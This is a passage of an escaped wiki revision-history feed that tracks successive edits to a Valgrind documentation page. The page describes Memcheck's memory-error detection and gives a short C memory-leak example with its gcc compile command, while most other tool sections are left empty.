&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind ajsckiuz.jpg|thumb|none|500px|Memory leak]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cachegrind ===&lt;br /&gt;
&lt;br /&gt;
=== Callgrind ===&lt;br /&gt;
&lt;br /&gt;
=== Massif ===&lt;br /&gt;
&lt;br /&gt;
=== Helgrind ===&lt;br /&gt;
&lt;br /&gt;
=== DRD ===&lt;br /&gt;
&lt;br /&gt;
=== DHAT ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://valgrind.org/&lt;br /&gt;
* https://valgrind.org/info/tools.html&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11091</id>
		<title>Valgrind</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11091"/>
		<updated>2023-01-13T15:46:29Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== What is Valgrind? ==&lt;br /&gt;
&lt;br /&gt;
Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools. &lt;br /&gt;
&lt;br /&gt;
Valgrind executes a program 20-30 times slower and performs dynamic code analysis.&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
The Valgrind distribution currently includes seven production-quality tools:&lt;br /&gt;
* Memcheck&lt;br /&gt;
* Cachegrind&lt;br /&gt;
* Callgrind&lt;br /&gt;
* Massif&lt;br /&gt;
* Helgrind&lt;br /&gt;
* DRD&lt;br /&gt;
* DHAT&lt;br /&gt;
&lt;br /&gt;
=== Memcheck ===&lt;br /&gt;
Memcheck detects memory-management problems and is aimed primarily at C and C++ programs. When a program is run under Memcheck&#039;s supervision, all reads and writes of memory are checked, and calls to malloc/new/free/delete are intercepted. As a result, Memcheck can detect if your program:&lt;br /&gt;
&lt;br /&gt;
* Accesses memory it shouldn&#039;t &lt;br /&gt;
** areas not yet allocated&lt;br /&gt;
** areas that have been freed&lt;br /&gt;
** areas past the end of heap blocks&lt;br /&gt;
** inaccessible areas of the stack&lt;br /&gt;
* Uses uninitialized values in dangerous ways.&lt;br /&gt;
* Leaks memory.&lt;br /&gt;
* Does bad frees of heap blocks (double frees, mismatched frees).&lt;br /&gt;
* Passes overlapping source and destination memory blocks to memcpy() and related functions.&lt;br /&gt;
&lt;br /&gt;
Memcheck reports these errors as soon as they occur, giving the source line number at which it occurred, and also a stack trace of the functions called to reach that line. Memcheck tracks addressability at the byte-level, and initialization of values at the bit-level. As a result, it can detect the use of single uninitialized bits, and does not report spurious errors on bitfield operations. Memcheck runs programs about 10--30x slower than normal.&lt;br /&gt;
&lt;br /&gt;
Following examples have been testen on a Kali Linux 22.04 system.&lt;br /&gt;
&lt;br /&gt;
==== Memory Leak ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(100); &lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
sudo gcc -g example1.c -o example1&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind ajsckiuz.jpg|thumb|none|700px|Black Arch homescreen Tools overview]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cachegrind ===&lt;br /&gt;
&lt;br /&gt;
=== Callgrind ===&lt;br /&gt;
&lt;br /&gt;
=== Massif ===&lt;br /&gt;
&lt;br /&gt;
=== Helgrind ===&lt;br /&gt;
&lt;br /&gt;
=== DRD ===&lt;br /&gt;
&lt;br /&gt;
=== DHAT ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://valgrind.org/&lt;br /&gt;
* https://valgrind.org/info/tools.html&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11090</id>
		<title>Valgrind</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11090"/>
		<updated>2023-01-13T15:46:06Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== What is Valgrind? ==&lt;br /&gt;
&lt;br /&gt;
Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools. &lt;br /&gt;
&lt;br /&gt;
Valgrind executes a program 20-30 times slower and performs dynamic code analysis.&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
The Valgrind distribution currently includes seven production-quality tools:&lt;br /&gt;
* Memcheck&lt;br /&gt;
* Cachegrind&lt;br /&gt;
* Callgrind&lt;br /&gt;
* Massif&lt;br /&gt;
* Helgrind&lt;br /&gt;
* DRD&lt;br /&gt;
* DHAT&lt;br /&gt;
&lt;br /&gt;
=== Memcheck ===&lt;br /&gt;
Memcheck detects memory-management problems and is aimed primarily at C and C++ programs. When a program is run under Memcheck&#039;s supervision, all reads and writes of memory are checked, and calls to malloc/new/free/delete are intercepted. As a result, Memcheck can detect if your program:&lt;br /&gt;
&lt;br /&gt;
* Accesses memory it shouldn&#039;t &lt;br /&gt;
** areas not yet allocated&lt;br /&gt;
** areas that have been freed&lt;br /&gt;
** areas past the end of heap blocks&lt;br /&gt;
** inaccessible areas of the stack&lt;br /&gt;
* Uses uninitialized values in dangerous ways.&lt;br /&gt;
* Leaks memory.&lt;br /&gt;
* Does bad frees of heap blocks (double frees, mismatched frees).&lt;br /&gt;
* Passes overlapping source and destination memory blocks to memcpy() and related functions.&lt;br /&gt;
&lt;br /&gt;
Memcheck reports these errors as soon as they occur, giving the source line number at which it occurred, and also a stack trace of the functions called to reach that line. Memcheck tracks addressability at the byte-level, and initialization of values at the bit-level. As a result, it can detect the use of single uninitialized bits, and does not report spurious errors on bitfield operations. Memcheck runs programs about 10--30x slower than normal.&lt;br /&gt;
&lt;br /&gt;
Following examples have been testen on a Kali Linux 22.04 system.&lt;br /&gt;
&lt;br /&gt;
==== Memory Leak ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(100); &lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
sudo gcc -g example1.c -o example1&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:File:1 valgrind ajsckiuz.jpg|thumb|none|700px|Black Arch homescreen Tools overview]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cachegrind ===&lt;br /&gt;
&lt;br /&gt;
=== Callgrind ===&lt;br /&gt;
&lt;br /&gt;
=== Massif ===&lt;br /&gt;
&lt;br /&gt;
=== Helgrind ===&lt;br /&gt;
&lt;br /&gt;
=== DRD ===&lt;br /&gt;
&lt;br /&gt;
=== DHAT ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://valgrind.org/&lt;br /&gt;
* https://valgrind.org/info/tools.html&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation, Pentesting]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:1_valgrind_ajsckiuz.jpg&amp;diff=11089</id>
		<title>File:1 valgrind ajsckiuz.jpg</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:1_valgrind_ajsckiuz.jpg&amp;diff=11089"/>
		<updated>2023-01-13T15:45:55Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11088</id>
		<title>Valgrind</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11088"/>
		<updated>2023-01-13T15:31:54Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== What is Valgrind? ==&lt;br /&gt;
&lt;br /&gt;
Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools. &lt;br /&gt;
&lt;br /&gt;
Valgrind executes a program 20-30 times slower and performs dynamic code analysis.&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
The Valgrind distribution currently includes seven production-quality tools:&lt;br /&gt;
* Memcheck&lt;br /&gt;
* Cachegrind&lt;br /&gt;
* Callgrind&lt;br /&gt;
* Massif&lt;br /&gt;
* Helgrind&lt;br /&gt;
* DRD&lt;br /&gt;
* DHAT&lt;br /&gt;
&lt;br /&gt;
=== Memcheck ===&lt;br /&gt;
Memcheck detects memory-management problems and is aimed primarily at C and C++ programs. When a program is run under Memcheck&#039;s supervision, all reads and writes of memory are checked, and calls to malloc/new/free/delete are intercepted. As a result, Memcheck can detect if your program:&lt;br /&gt;
&lt;br /&gt;
* Accesses memory it shouldn&#039;t &lt;br /&gt;
** areas not yet allocated&lt;br /&gt;
** areas that have been freed&lt;br /&gt;
** areas past the end of heap blocks&lt;br /&gt;
** inaccessible areas of the stack&lt;br /&gt;
* Uses uninitialized values in dangerous ways.&lt;br /&gt;
* Leaks memory.&lt;br /&gt;
* Does bad frees of heap blocks (double frees, mismatched frees).&lt;br /&gt;
* Passes overlapping source and destination memory blocks to memcpy() and related functions.&lt;br /&gt;
&lt;br /&gt;
Memcheck reports these errors as soon as they occur, giving the source line number at which it occurred, and also a stack trace of the functions called to reach that line. Memcheck tracks addressability at the byte-level, and initialization of values at the bit-level. As a result, it can detect the use of single uninitialized bits, and does not report spurious errors on bitfield operations. Memcheck runs programs about 10--30x slower than normal.&lt;br /&gt;
&lt;br /&gt;
Following examples have been testen on a Kali Linux 22.04 system.&lt;br /&gt;
&lt;br /&gt;
==== Memory Leak ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(100); &lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
sudo gcc -g example1.c -o example1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:BlackArch_Homescreen.PNG|thumb|none|700px|Black Arch homescreen Tools overview]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cachegrind ===&lt;br /&gt;
&lt;br /&gt;
=== Callgrind ===&lt;br /&gt;
&lt;br /&gt;
=== Massif ===&lt;br /&gt;
&lt;br /&gt;
=== Helgrind ===&lt;br /&gt;
&lt;br /&gt;
=== DRD ===&lt;br /&gt;
&lt;br /&gt;
=== DHAT ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://valgrind.org/&lt;br /&gt;
* https://valgrind.org/info/tools.html&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation, Pentesting]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11087</id>
		<title>Valgrind</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11087"/>
		<updated>2023-01-13T15:31:17Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: /* Memcheck */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== What is Valgrind? ==&lt;br /&gt;
&lt;br /&gt;
Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools. &lt;br /&gt;
&lt;br /&gt;
Valgrind executes a program 20-30 times slower and performs dynamic code analysis.&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
The Valgrind distribution currently includes seven production-quality tools:&lt;br /&gt;
* Memcheck&lt;br /&gt;
* Cachegrind&lt;br /&gt;
* Callgrind&lt;br /&gt;
* Massif&lt;br /&gt;
* Helgrind&lt;br /&gt;
* DRD&lt;br /&gt;
* DHAT&lt;br /&gt;
&lt;br /&gt;
=== Memcheck ===&lt;br /&gt;
Memcheck detects memory-management problems and is aimed primarily at C and C++ programs. When a program is run under Memcheck&#039;s supervision, all reads and writes of memory are checked, and calls to malloc/new/free/delete are intercepted. As a result, Memcheck can detect if your program:&lt;br /&gt;
&lt;br /&gt;
* Accesses memory it shouldn&#039;t &lt;br /&gt;
** areas not yet allocated&lt;br /&gt;
** areas that have been freed&lt;br /&gt;
** areas past the end of heap blocks&lt;br /&gt;
** inaccessible areas of the stack&lt;br /&gt;
* Uses uninitialized values in dangerous ways.&lt;br /&gt;
* Leaks memory.&lt;br /&gt;
* Does bad frees of heap blocks (double frees, mismatched frees).&lt;br /&gt;
* Passes overlapping source and destination memory blocks to memcpy() and related functions.&lt;br /&gt;
&lt;br /&gt;
Memcheck reports these errors as soon as they occur, giving the source line number at which it occurred, and also a stack trace of the functions called to reach that line. Memcheck tracks addressability at the byte-level, and initialization of values at the bit-level. As a result, it can detect the use of single uninitialized bits, and does not report spurious errors on bitfield operations. Memcheck runs programs about 10--30x slower than normal.&lt;br /&gt;
&lt;br /&gt;
Following examples have been testen on a Kali Linux 22.04 system.&lt;br /&gt;
&lt;br /&gt;
==== Memory Leak ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(100); &lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
sudo gcc -g example1.c -o example1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:BlackArch_Homescreen.PNG|thumb|none|700px|Black Arch homescreen Tools overview]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cachegrind ===&lt;br /&gt;
&lt;br /&gt;
=== Callgrind ===&lt;br /&gt;
&lt;br /&gt;
=== Massif ===&lt;br /&gt;
&lt;br /&gt;
=== Helgrind ===&lt;br /&gt;
&lt;br /&gt;
=== DRD ===&lt;br /&gt;
&lt;br /&gt;
=== DHAT ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://valgrind.org/&lt;br /&gt;
* https://valgrind.org/info/tools.html&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11081</id>
		<title>Valgrind</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11081"/>
		<updated>2023-01-13T15:26:07Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== What is Valgrind? ==&lt;br /&gt;
&lt;br /&gt;
Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools. &lt;br /&gt;
&lt;br /&gt;
Valgrind executes a program 20-30 times slower and performs dynamic code analysis.&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
The Valgrind distribution currently includes seven production-quality tools:&lt;br /&gt;
* Memcheck&lt;br /&gt;
* Cachegrind&lt;br /&gt;
* Callgrind&lt;br /&gt;
* Massif&lt;br /&gt;
* Helgrind&lt;br /&gt;
* DRD&lt;br /&gt;
* DHAT&lt;br /&gt;
&lt;br /&gt;
=== Memcheck ===&lt;br /&gt;
Memcheck detects memory-management problems and is aimed primarily at C and C++ programs. When a program is run under Memcheck&#039;s supervision, all reads and writes of memory are checked, and calls to malloc/new/free/delete are intercepted. As a result, Memcheck can detect if your program:&lt;br /&gt;
&lt;br /&gt;
* Accesses memory it shouldn&#039;t &lt;br /&gt;
** areas not yet allocated&lt;br /&gt;
** areas that have been freed&lt;br /&gt;
** areas past the end of heap blocks&lt;br /&gt;
** inaccessible areas of the stack&lt;br /&gt;
* Uses uninitialized values in dangerous ways.&lt;br /&gt;
* Leaks memory.&lt;br /&gt;
* Does bad frees of heap blocks (double frees, mismatched frees).&lt;br /&gt;
* Passes overlapping source and destination memory blocks to memcpy() and related functions.&lt;br /&gt;
&lt;br /&gt;
Memcheck reports these errors as soon as they occur, giving the source line number at which it occurred, and also a stack trace of the functions called to reach that line. Memcheck tracks addressability at the byte-level, and initialization of values at the bit-level. As a result, it can detect the use of single uninitialized bits, and does not report spurious errors on bitfield operations. Memcheck runs programs about 10--30x slower than normal.&lt;br /&gt;
&lt;br /&gt;
==== Memory Leak ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(100); &lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Cachegrind ===&lt;br /&gt;
&lt;br /&gt;
=== Callgrind ===&lt;br /&gt;
&lt;br /&gt;
=== Massif ===&lt;br /&gt;
&lt;br /&gt;
=== Helgrind ===&lt;br /&gt;
&lt;br /&gt;
=== DRD ===&lt;br /&gt;
&lt;br /&gt;
=== DHAT ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://valgrind.org/&lt;br /&gt;
* https://valgrind.org/info/tools.html&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11079</id>
		<title>Valgrind</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11079"/>
		<updated>2023-01-13T15:25:36Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: /* Memcheck */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== What is Valgrind? ==&lt;br /&gt;
&lt;br /&gt;
Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools. &lt;br /&gt;
&lt;br /&gt;
Valgrind executes a program 20-30 times slower and performs dynamic code analysis.&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
The Valgrind distribution currently includes seven production-quality tools:&lt;br /&gt;
* Memcheck&lt;br /&gt;
* Cachegrind&lt;br /&gt;
* Callgrind&lt;br /&gt;
* Massif&lt;br /&gt;
* Helgrind&lt;br /&gt;
* DRD&lt;br /&gt;
* DHAT&lt;br /&gt;
&lt;br /&gt;
=== Memcheck ===&lt;br /&gt;
Memcheck detects memory-management problems and is aimed primarily at C and C++ programs. When a program is run under Memcheck&#039;s supervision, all reads and writes of memory are checked, and calls to malloc/new/free/delete are intercepted. As a result, Memcheck can detect if your program:&lt;br /&gt;
&lt;br /&gt;
* Accesses memory it shouldn&#039;t &lt;br /&gt;
** areas not yet allocated&lt;br /&gt;
** areas that have been freed&lt;br /&gt;
** areas past the end of heap blocks&lt;br /&gt;
** inaccessible areas of the stack&lt;br /&gt;
* Uses uninitialized values in dangerous ways.&lt;br /&gt;
* Leaks memory.&lt;br /&gt;
* Does bad frees of heap blocks (double frees, mismatched frees).&lt;br /&gt;
* Passes overlapping source and destination memory blocks to memcpy() and related functions.&lt;br /&gt;
&lt;br /&gt;
Memcheck reports these errors as soon as they occur, giving the source line number at which it occurred, and also a stack trace of the functions called to reach that line. Memcheck tracks addressability at the byte-level, and initialization of values at the bit-level. As a result, it can detect the use of single uninitialized bits, and does not report spurious errors on bitfield operations. Memcheck runs programs about 10--30x slower than normal.&lt;br /&gt;
&lt;br /&gt;
==== Memory Leak ====&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
int main()&lt;br /&gt;
{&lt;br /&gt;
    char *x = malloc(100); &lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cachegrind ===&lt;br /&gt;
&lt;br /&gt;
=== Callgrind ===&lt;br /&gt;
&lt;br /&gt;
=== Massif ===&lt;br /&gt;
&lt;br /&gt;
=== Helgrind ===&lt;br /&gt;
&lt;br /&gt;
=== DRD ===&lt;br /&gt;
&lt;br /&gt;
=== DHAT ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://valgrind.org/&lt;br /&gt;
* https://valgrind.org/info/tools.html&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11078</id>
		<title>Valgrind</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11078"/>
		<updated>2023-01-13T15:24:10Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: /* Memcheck */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== What is Valgrind? ==&lt;br /&gt;
&lt;br /&gt;
Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools. &lt;br /&gt;
&lt;br /&gt;
Valgrind executes a program 20-30 times slower and performs dynamic code analysis.&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
The Valgrind distribution currently includes seven production-quality tools:&lt;br /&gt;
* Memcheck&lt;br /&gt;
* Cachegrind&lt;br /&gt;
* Callgrind&lt;br /&gt;
* Massif&lt;br /&gt;
* Helgrind&lt;br /&gt;
* DRD&lt;br /&gt;
* DHAT&lt;br /&gt;
&lt;br /&gt;
=== Memcheck ===&lt;br /&gt;
Memcheck detects memory-management problems, and is aimed primarily at C and C++ programs. When a program is run under Memcheck&#039;s supervision, all reads and writes of memory are checked, and calls to malloc/new/free/delete are intercepted. As a result, Memcheck can detect if your program:&lt;br /&gt;
&lt;br /&gt;
* Accesses memory it shouldn&#039;t &lt;br /&gt;
** areas not yet allocated&lt;br /&gt;
** areas that have been freed&lt;br /&gt;
** areas past the end of heap blocks&lt;br /&gt;
** inaccessible areas of the stack&lt;br /&gt;
* Uses uninitialised values in dangerous ways.&lt;br /&gt;
* Leaks memory.&lt;br /&gt;
* Does bad frees of heap blocks (double frees, mismatched frees).&lt;br /&gt;
* Passes overlapping source and destination memory blocks to memcpy() and related functions.&lt;br /&gt;
&lt;br /&gt;
Memcheck reports these errors as soon as they occur, giving the source line number at which it occurred, and also a stack trace of the functions called to reach that line. Memcheck tracks addressability at the byte-level, and initialisation of values at the bit-level. As a result, it can detect the use of single uninitialised bits, and does not report spurious errors on bitfield operations. Memcheck runs programs about 10--30x slower than normal.&lt;br /&gt;
&lt;br /&gt;
=== Cachegrind ===&lt;br /&gt;
&lt;br /&gt;
=== Callgrind ===&lt;br /&gt;
&lt;br /&gt;
=== Massif ===&lt;br /&gt;
&lt;br /&gt;
=== Helgrind ===&lt;br /&gt;
&lt;br /&gt;
=== DRD ===&lt;br /&gt;
&lt;br /&gt;
=== DHAT ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://valgrind.org/&lt;br /&gt;
* https://valgrind.org/info/tools.html&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11077</id>
		<title>Valgrind</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11077"/>
		<updated>2023-01-13T15:23:16Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== What is Valgrind? ==&lt;br /&gt;
&lt;br /&gt;
Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools. &lt;br /&gt;
&lt;br /&gt;
Valgrind executes a program 20-30 times slower and performs dynamic code analysis.&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
The Valgrind distribution currently includes seven production-quality tools:&lt;br /&gt;
* Memcheck&lt;br /&gt;
* Cachegrind&lt;br /&gt;
* Callgrind&lt;br /&gt;
* Massif&lt;br /&gt;
* Helgrind&lt;br /&gt;
* DRD&lt;br /&gt;
* DHAT&lt;br /&gt;
&lt;br /&gt;
=== Memcheck ===&lt;br /&gt;
Memcheck detects memory-management problems, and is aimed primarily at C and C++ programs. When a program is run under Memcheck&#039;s supervision, all reads and writes of memory are checked, and calls to malloc/new/free/delete are intercepted. As a result, Memcheck can detect if your program:&lt;br /&gt;
&lt;br /&gt;
* Accesses memory it shouldn&#039;t (areas not yet allocated, areas that have been freed, areas past the end of heap blocks, inaccessible areas of the stack).&lt;br /&gt;
* Uses uninitialised values in dangerous ways.&lt;br /&gt;
* Leaks memory.&lt;br /&gt;
* Does bad frees of heap blocks (double frees, mismatched frees).&lt;br /&gt;
* Passes overlapping source and destination memory blocks to memcpy() and related functions.&lt;br /&gt;
&lt;br /&gt;
Memcheck reports these errors as soon as they occur, giving the source line number at which it occurred, and also a stack trace of the functions called to reach that line. Memcheck tracks addressability at the byte-level, and initialisation of values at the bit-level. As a result, it can detect the use of single uninitialised bits, and does not report spurious errors on bitfield operations. Memcheck runs programs about 10--30x slower than normal.&lt;br /&gt;
&lt;br /&gt;
=== Cachegrind ===&lt;br /&gt;
&lt;br /&gt;
=== Callgrind ===&lt;br /&gt;
&lt;br /&gt;
=== Massif ===&lt;br /&gt;
&lt;br /&gt;
=== Helgrind ===&lt;br /&gt;
&lt;br /&gt;
=== DRD ===&lt;br /&gt;
&lt;br /&gt;
=== DHAT ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://valgrind.org/&lt;br /&gt;
* https://valgrind.org/info/tools.html&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11076</id>
		<title>Valgrind</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11076"/>
		<updated>2023-01-13T15:20:41Z</updated>

